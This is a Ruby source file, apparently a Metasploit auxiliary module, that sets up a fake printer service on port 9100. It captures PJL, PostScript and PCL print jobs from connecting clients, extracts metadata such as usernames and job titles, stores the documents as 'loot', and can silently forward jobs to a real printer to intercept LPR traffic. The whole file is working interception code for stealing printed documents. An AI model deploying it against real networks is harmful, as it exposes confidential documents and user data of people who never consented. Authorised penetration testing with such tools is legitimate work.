##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Auxiliary

	include Msf::Exploit::Remote::TcpServer
	include Msf::Exploit::Remote::Tcp
	include Msf::Auxiliary::Report

	def initialize
		super(
			'Name'        => 'Printjob Capture Service',
			'Description' => %q{
				This module is designed to listen for PJL or PostScript print
				jobs. Once a print job is detected it is saved to loot. The
				captured printjob can then be forwarded on to another printer
				(required for LPR printjobs). Resulting PCL/PS files can be
				read with GhostScript/GhostPCL.

				Note, this module does not yet support IPP connections.
			},
			'Author'      =>     ['Chris John Riley', 'todb'],
			'License'     =>     MSF_LICENSE,
			'References'    =>
			[
				# Based on previous prn-2-me tool (Python)
				['URL', 'http://blog.c22.cc/toolsscripts/prn-2-me/'],
				# Readers for resulting PCL/PC
				['URL', 'http://www.ghostscript.com']
			],
				'Actions'     =>
			[
				[ 'Capture' ]
			],
				'PassiveActions' =>
			[
				'Capture'
			],
				'DefaultAction'  => 'Capture'
		)

		register_options([
			OptPort.new('SRVPORT',      [ true, 'The local port to listen on', 9100 ]),
			OptBool.new('FORWARD',      [ true, 'Forward print jobs to another host', false ]),
			OptPort.new('RPORT',        [ false, 'Forward to remote port', 9100 ]),
			OptAddress.new('RHOST',     [ false, 'Forward to remote host' ]),
			OptBool.new('METADATA',     [ true, 'Display Metadata from printjobs', true ]),
			OptEnum.new('MODE',         [ true,  'Print mode', 'RAW', ['RAW', 'LPR']]) # TODO: Add IPP

		], self.class)

		deregister_options('SSL', 'SSLVersion', 'SSLCert')

	end

	def setup
		super
		@state = {}

		begin

			@srvhost = datastore['SRVHOST']
			@srvport = datastore['SRVPORT'] || 9100
			@mode = datastore['MODE'].upcase || 'RAW'
			print_status("Starting Print Server on %s:%s - %s mode" % [@srvhost, @srvport, @mode])
			if datastore['FORWARD']
				@forward = datastore['FORWARD']
				@rport = datastore['RPORT'] || 9100
				if not datastore['RHOST'].nil?
					@rhost = datastore['RHOST']
					print_status("Forwarding all printjobs to #{@rhost}:#{@rport}")
				else
					raise ArgumentError, "Cannot forward without a valid RHOST"
				end
			end
			if not @mode == 'RAW' and not @forward
				raise ArgumentError, "Cannot intercept LPR/IPP without a forwarding target"
			end
			@metadata = datastore['METADATA']

			exploit()

		rescue  =>  ex
			print_error(ex.message)
		end
	end

	def on_client_connect(c)
		@state[c] = {
			:name => "#{c.peerhost}:#{c.peerport}",
			:ip => c.peerhost,
			:port => c.peerport,
			:user => nil,
			:pass => nil,
			:data => '',
			:raw_data => '',
			:prn_title => '',
			:prn_type => '',
			:prn_metadata => {},
			:meta_output => []
		}

		print_status("#{name}: Client connection from #{c.peerhost}:#{c.peerport}")
	end

	def on_client_data(c)
		curr_data = c.get_once
		@state[c][:data] << curr_data
		if @mode == 'RAW'
			# RAW Mode - no further actions
		elsif @mode == 'LPR' or @mode == 'IPP'
			response = stream_data(curr_data)
			c.put(response)
		end

		if (Rex::Text.to_hex(curr_data.first)) == '\x02' and (Rex::Text.to_hex(curr_data.last)) == '\x0a'
			print_status("LPR Jobcmd \"%s\" received" % curr_data[1..-2]) if not curr_data[1..-2].empty?
		end

		return if not @state[c][:data]
	end

	def on_client_close(c)
		print_status("#{name}: Client #{c.peerhost}:#{c.peerport} closed connection after %d bytes of data" % @state[c][:data].length)
		sock.close if sock

		# forward RAW data as it's not streamed
		if @forward and @mode == 'RAW'
			forward_data(@state[c][:data])
		end

		#extract print data and Metadata from @state[c][:data]
		begin
			# postscript data
			if @state[c][:data] =~ /%!PS-Adobe/i
				@state[c][:prn_type] = "PS"
				print_good("Printjob intercepted - type PostScript")
				# extract PostScript data including header and EOF marker
				@state[c][:raw_data] = @state[c][:data].match(/%!PS-Adobe.*%%EOF/im)[0]
				# pcl data (capture PCL or PJL start code)
			elsif @state[c][:data].unpack("H*")[0] =~ /(1b45|1b25|1b26)/
				@state[c][:prn_type] = "PCL"
				print_good("Printjob intercepted - type PCL")
				#extract everything between PCL start and end markers (various)
				@state[c][:raw_data] = Array(@state[c][:data].unpack("H*")[0].match(/((1b45|1b25|1b26).*(1b45|1b252d313233343558))/i)[0]).pack("H*")
			end

			# extract Postsript Metadata
			metadata_ps(c) if @state[c][:data] =~ /^%%/i

			# extract PJL Metadata
			metadata_pjl(c) if @state[c][:data] =~ /@PJL/i

			# extract IPP Metadata
			metadata_ipp(c) if @state[c][:data] =~ /POST \/ipp/i or @state[c][:data] =~ /application\/ipp/i

			if not @state[c][:prn_type]
				print_error("Unable to detect printjob type, dumping complete output")
				@state[c][:prn_type] = "Unknown Type"
				@state[c][:raw_data] = @state[c][:data]
			end

			# output discovered Metadata if set
			if @state[c][:meta_output] and @metadata
				@state[c][:meta_output].sort.each do | out |
					# print metadata if not empty
					print_status("#{out}") if not out.empty?
				end
			else
				print_status("No metadata gathered from printjob")
			end

			# set name to unknown if not discovered via Metadata
			@state[c][:prn_title] = 'Unnamed' if not @state[c][:prn_title]

			#store loot
			storefile(c) if not @state[c][:raw_data].empty?

			# clear state
			@state.delete(c)

		rescue  =>  ex
			print_error(ex.message)
		end
	end

	def metadata_pjl(c)
		# extract PJL Metadata

		@state[c][:prn_metadata] = @state[c][:data].scan(/^@PJL\s(JOB=|SET\s|COMMENT\s)(.*)$/i)
		print_good("Extracting PJL Metadata")
		@state[c][:prn_metadata].each do | meta |
			if meta[0] =~ /^COMMENT/i
				@state[c][:meta_output] << meta[0].to_s + meta[1].to_s
			end
			if meta[1] =~ /^NAME|^STRINGCODESET|^RESOLUTION|^USERNAME|^JOBNAME|^JOBATTR/i
				@state[c][:meta_output] << meta[1].to_s
			end
			if meta[1] =~ /^NAME/i
				@state[c][:prn_title] = meta[1].strip
			elsif meta[1] =~/^JOBNAME/i
				@state[c][:prn_title] = meta[1].strip
			end
		end
	end

	def metadata_ps(c)
		# extract Postsript Metadata

		@state[c][:prn_metadata] = @state[c][:data].scan(/^%%(.*)$/i)
		print_good("Extracting PostScript Metadata")
		@state[c][:prn_metadata].each do | meta |
			if meta[0] =~ /^Title|^Creat(or|ionDate)|^For|^Target|^Language/i
				@state[c][:meta_output] << meta[0].to_s
			end
			if meta[0] =~ /^Title/i
				@state[c][:prn_title] = meta[0].strip
			end
		end
	end

	def metadata_ipp(c)
		# extract IPP Metadata

		@state[c][:prn_metadata] = @state[c][:data]
		print_good("Extracting IPP Metadata")
		case @state[c][:prn_metadata]
		when /User-Agent:/i
			@state[c][:meta_output] << @state[c][:prn_metadata].scan(/^User-Agent:.*/i)
		when /Server:/i
			@state[c][:meta_output] << @state[c][:prn_metadata].scan(/^Server:.*/i)
		when /printer-uri..ipp:\/\/.*\/ipp\//i
			@state[c][:meta_output] << @state[c][:prn_metadata].scan(/printer-uri..ipp:\/\/.*\/ipp\//i)
		when /requesting-user-name..\w+/i
			@state[c][:meta_output] << @state[c][:prn_metadata].scan(/requesting-user-name..\w+/i)
		end
	end

	def forward_data(data_to_send)
		print_status("Forwarding PrintJob on to #{@rhost}:#{@rport}")
		connect
		sock.put(data_to_send)
		sock.close
	end

	def stream_data(data_to_send)
		vprint_status("Streaming %d bytes of data to #{@rhost}:#{@rport}" % data_to_send.length)
		connect if not sock
		sock.put(data_to_send)
		response = sock.get_once
		return response
	end

	def storefile(c)
		# store the file

		if @state[c][:raw_data]
			jobname = File.basename(@state[c][:prn_title].gsub("\\","/"), ".*")
			filename = "#{jobname}.#{@state[c][:prn_type]}"
			loot = store_loot(
				"prn_snarf.#{@state[c][:prn_type].downcase}",
				"#{@state[c][:prn_type]} printjob",
				c.peerhost,
				@state[c][:raw_data],
				filename,
				"PrintJob capture"
			)
			print_good("Incoming printjob - %s saved to loot" % @state[c][:prn_title])
			print_good("Loot filename: %s" % loot)
		end
	end

end
